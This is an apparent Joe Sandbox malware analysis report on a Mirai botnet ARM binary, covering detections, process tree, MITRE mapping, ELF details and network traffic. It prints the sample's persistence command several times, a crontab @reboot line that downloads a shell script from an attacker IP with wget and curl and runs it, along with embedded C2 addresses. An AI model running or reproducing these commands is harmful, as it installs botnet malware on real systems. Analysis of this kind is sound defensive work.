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Linux Analysis Report
armv6l.elf

Overview

General Information

Sample name:	armv6l.elf
Analysis ID:	1646356
MD5:	ea5f8b9926aee8b1547ebfb0fab259d3
SHA1:	31f27c1784bba4550b8e4bcf3531de59653ddafe
SHA256:	b75f76b138d62714efd89411f98f943952056da3635a32d30443730c0df87fea
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Executes the "crontab" command typically for achieving persistence

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sleeps for long times indicative of sandbox evasion

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1646356
Start date and time:	2025-03-23 23:03:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	armv6l.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/48@2/0

Warnings

VT rate limit hit for: http://155.138.230.16/bins/bins.sh;

Runtime Messages

Command:	/tmp/armv6l.elf
PID:	5435
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	we kinda rocking ngl
Standard Error:

Process Tree

system is lnxubuntu20

armv6l.elf (PID: 5435, Parent: 5358, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/armv6l.elf

armv6l.elf New Fork (PID: 5437, Parent: 5435)

armv6l.elf New Fork (PID: 5439, Parent: 5437)

armv6l.elf New Fork (PID: 5449, Parent: 5437)

armv6l.elf New Fork (PID: 5450, Parent: 5437)

armv6l.elf New Fork (PID: 5453, Parent: 5437)

sh (PID: 5453, Parent: 5437, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"

sh New Fork (PID: 5459, Parent: 5453)

sh New Fork (PID: 5461, Parent: 5459)

crontab (PID: 5461, Parent: 5459, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 5462, Parent: 5459)

chmod (PID: 5462, Parent: 5459, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x bins.sh

sh New Fork (PID: 5463, Parent: 5459)

sh (PID: 5463, Parent: 5459, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh bins.sh

sh New Fork (PID: 5464, Parent: 5459)

curl (PID: 5464, Parent: 5459, MD5: add6bc2195e82c55985ccf49fd4048e6) Arguments: /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh

sh New Fork (PID: 5460, Parent: 5453)

crontab (PID: 5460, Parent: 5453, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
armv6l.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5435.1.00007f0004017000.00007f000402b000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5439.1.00007f0004017000.00007f000402b000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security

Shell command executed: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"

Jump to behavior

Source: /bin/sh (PID: 5462)

Chmod executable: /usr/bin/chmod -> chmod +x bins.sh

Jump to behavior

Source: /tmp/armv6l.elf (PID: 5450)	Sleeps longer then 60s: 60.0s			Jump to behavior
Source: /tmp/armv6l.elf (PID: 5450)	Sleeps longer then 60s: 60.0s			Jump to behavior

Source: /tmp/armv6l.elf (PID: 5435)

Queries kernel information via 'uname':

Jump to behavior

Source: armv6l.elf, 5435.1.00007ffd65aa1000.00007ffd65ac2000.rw-.sdmp, armv6l.elf, 5439.1.00007ffd65aa1000.00007ffd65ac2000.rw-.sdmp	Binary or memory string: ix86_64/usr/bin/qemu-arm/tmp/armv6l.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/armv6l.elf
Source: armv6l.elf, 5439.1.00007ffd65aa1000.00007ffd65ac2000.rw-.sdmp	Binary or memory string: V[U/tmp/qemu-open.9tdtkv
Source: armv6l.elf, 5439.1.00007ffd65aa1000.00007ffd65ac2000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.9tdtkv
Source: armv6l.elf, 5435.1.0000555b5a7e4000.0000555b5a938000.rw-.sdmp, armv6l.elf, 5439.1.0000555b5a7e4000.0000555b5a938000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: armv6l.elf, 5435.1.00007ffd65aa1000.00007ffd65ac2000.rw-.sdmp, armv6l.elf, 5439.1.00007ffd65aa1000.00007ffd65ac2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: armv6l.elf, 5435.1.0000555b5a7e4000.0000555b5a938000.rw-.sdmp, armv6l.elf, 5439.1.0000555b5a7e4000.0000555b5a938000.rw-.sdmp	Binary or memory string: Z[U!/etc/qemu-binfmt/arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: armv6l.elf, type: SAMPLE
Source: Yara match	File source: 5435.1.00007f0004017000.00007f000402b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5439.1.00007f0004017000.00007f000402b000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: armv6l.elf, type: SAMPLE
Source: Yara match	File source: 5435.1.00007f0004017000.00007f000402b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5439.1.00007f0004017000.00007f000402b000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Virtualization/Sandbox Evasion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	1 File and Directory Permissions Modification	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
armv6l.elf	31%	Virustotal		Browse
armv6l.elf	36%	ReversingLabs	Linux.Backdoor.Mirai
armv6l.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://155.138.230.16/bins/bins.sh;	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.znet.homes	155.138.230.16	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://155.138.230.16/bins/bins.sh;	armv6l.elf	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
155.138.230.16	api.znet.homes	United States		20473	AS-CHOOPAUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
155.138.230.16	i686.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Mirai	Browse
	mipsel.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.znet.homes	i686.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mips.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mipsel.elf	Get hash	malicious	Mirai	Browse	155.138.230.16

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-CHOOPAUS	i686.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mips.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	mipsel.elf	Get hash	malicious	Mirai	Browse	155.138.230.16
	Setup.exe	Get hash	malicious	Unknown	Browse	45.32.1.23
	xpmg.exe	Get hash	malicious	Unknown	Browse	155.138.150.12
	courtyardhealthcare.com.exe	Get hash	malicious	Unknown	Browse	139.180.160.173
	compited.ps1	Get hash	malicious	Unknown	Browse	139.180.160.173
	Nyx4r.mpsl.elf	Get hash	malicious	Okiru	Browse	44.168.169.166
	hoho.armv5l.elf	Get hash	malicious	Unknown	Browse	44.174.49.98
	yarn.elf	Get hash	malicious	Unknown	Browse	149.253.222.204

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Source: armv6l.elf	Virustotal: Detection: 31%			Perma Link
Source: armv6l.elf	ReversingLabs: Detection: 36%

Source: armv6l.elf	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogarmv6l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetdt
Source: armv6l.elf	String: /bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: armv6l.elf	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogarmv6l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetdt

Source: /bin/sh (PID: 5461)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 5460)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/230/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/5381/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/110/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/231/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/111/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/232/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/112/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/233/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/113/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/234/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/114/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/235/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/115/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/236/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/116/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/237/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/117/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/238/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/118/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/239/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/3630/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/119/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/914/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/10/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/917/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/11/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/12/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/13/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/14/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/15/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/5276/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/16/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/17/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/18/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/19/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/240/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/3095/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/120/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/241/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/121/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/242/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/1/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/122/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/243/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/2/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/123/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/244/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/3/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/124/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/245/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/1588/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/125/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/4/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/246/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/126/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/5/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/247/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/127/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/6/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/248/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/128/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/7/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/249/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/129/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/8/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/800/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/9/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/1906/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/802/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/803/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/20/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/21/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/22/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/23/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/24/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/25/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/26/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/27/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/28/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/29/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/3420/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/1482/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/490/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/1480/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/250/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/371/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/130/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/251/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/131/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/252/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/132/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/253/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/254/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/1238/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/134/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/255/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/256/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/257/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/378/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/3413/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/258/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/259/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/1475/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/936/stat	Jump to behavior
Source: /tmp/armv6l.elf (PID: 5449)	File opened: /proc/30/stat	Jump to behavior

Process:	/tmp/armv6l.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	2.6979671700322143
Encrypted:	false
SSDEEP:	3:E66RIVKE+xNTUdVvX:EfXTYdVf
MD5:	298D5EC1C991D329413C4F0688154BBA
SHA1:	1A5A421E4C7261C04A5A57C85F5772F8EA4E3972
SHA-256:	FD541B1835814825DF5AE215CAFDDAD07C6F8245DA230E88C7D1338F4E923A62
SHA-512:	3AD5FC9EACDCFF093589F5EB312E67F08CF3CA9289E91E05246273FA9B8A1D122F46E80126EA1C6C8BD5EF30213987736B9C1983EDB0CDC13ACB534AE9A9011D
Malicious:	false
Reputation:	low
Preview:	5449 (/tmp/armv6l.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294901136 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.133542203029563
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	armv6l.elf
File size:	87'024 bytes
MD5:	ea5f8b9926aee8b1547ebfb0fab259d3
SHA1:	31f27c1784bba4550b8e4bcf3531de59653ddafe
SHA256:	b75f76b138d62714efd89411f98f943952056da3635a32d30443730c0df87fea
SHA512:	82f9a51eddec63ef2dc61945ad066e62daf64518fbddda4d7d3f6c91353e4383609c1a5891678fad782ff4beb4172b5ae8cf23bab8f79ea5817f055921425c02
SSDEEP:	1536:aonB6NBlNdxzwGjef1+KUs+b8aWSsV97MXitHeb95PYoar:eNJAff+b8aWVHeb9tDar
TLSH:	DB831C47B9818E12C5C212BAFAAE418933137F78D3EE7212CD20AF9077865DB0D77616
File Content Preview:	.ELF..............(.....T...4....Q......4. ...(.....................H;..H;...............@...@...@.. ...Xi..........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../. C.......@....-.@0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	86424
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x122f4	0x0	0x6	AX	16
.fini	PROGBITS	0x1a3a4	0x123a4	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x1a3b8	0x123b8	0x1790	0x0	0x2	A	8
.eh_frame	PROGBITS	0x24000	0x14000	0x4	0x0	0x3	WA	4
.init_array	INIT_ARRAY	0x24004	0x14004	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x24008	0x14008	0x4	0x0	0x3	WA	4
.jcr	PROGBITS	0x2400c	0x1400c	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x24010	0x14010	0x78	0x4	0x3	WA	4
.data	PROGBITS	0x24088	0x14088	0x298	0x0	0x3	WA	4
.bss	NOBITS	0x24320	0x14320	0x6638	0x0	0x3	WA	4
.comment	PROGBITS	0x0	0x14320	0xdf0	0x0	0x0		1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x15110	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x15120	0x75	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x13b48	0x13b48	6.1466	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x14000	0x24000	0x24000	0x320	0x6958	3.9997	0x6	RW	0x8000	.eh_frame .init_array .fini_array .jcr .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 23, 2025 23:04:15.450368881 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:16.102181911 CET	45502	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:16.463649035 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:17.103627920 CET	45502	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:18.479604959 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:19.119606972 CET	45502	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:22.543576002 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:23.311558962 CET	45502	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:30.735544920 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:31.503485918 CET	45502	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:46.863321066 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:04:47.631328106 CET	45502	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:05:20.655028105 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:05:20.655033112 CET	45502	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:05:30.585247993 CET	49954	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:05:31.598920107 CET	49954	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:05:33.614897966 CET	49954	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:05:37.806864023 CET	49954	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:05:45.998922110 CET	49954	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:06:02.126686096 CET	49954	1290	192.168.2.13	155.138.230.16

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 23, 2025 23:04:15.323213100 CET	46966	53	192.168.2.13	1.1.1.1
Mar 23, 2025 23:04:15.447680950 CET	53	46966	1.1.1.1	192.168.2.13
Mar 23, 2025 23:05:30.482906103 CET	47443	53	192.168.2.13	1.1.1.1
Mar 23, 2025 23:05:30.584235907 CET	53	47443	1.1.1.1	192.168.2.13

Start time (UTC):	22:04:09
Start date (UTC):	23/03/2025
Path:	/tmp/armv6l.elf
Arguments:	/tmp/armv6l.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:04:14
Start date (UTC):	23/03/2025
Path:	/tmp/armv6l.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
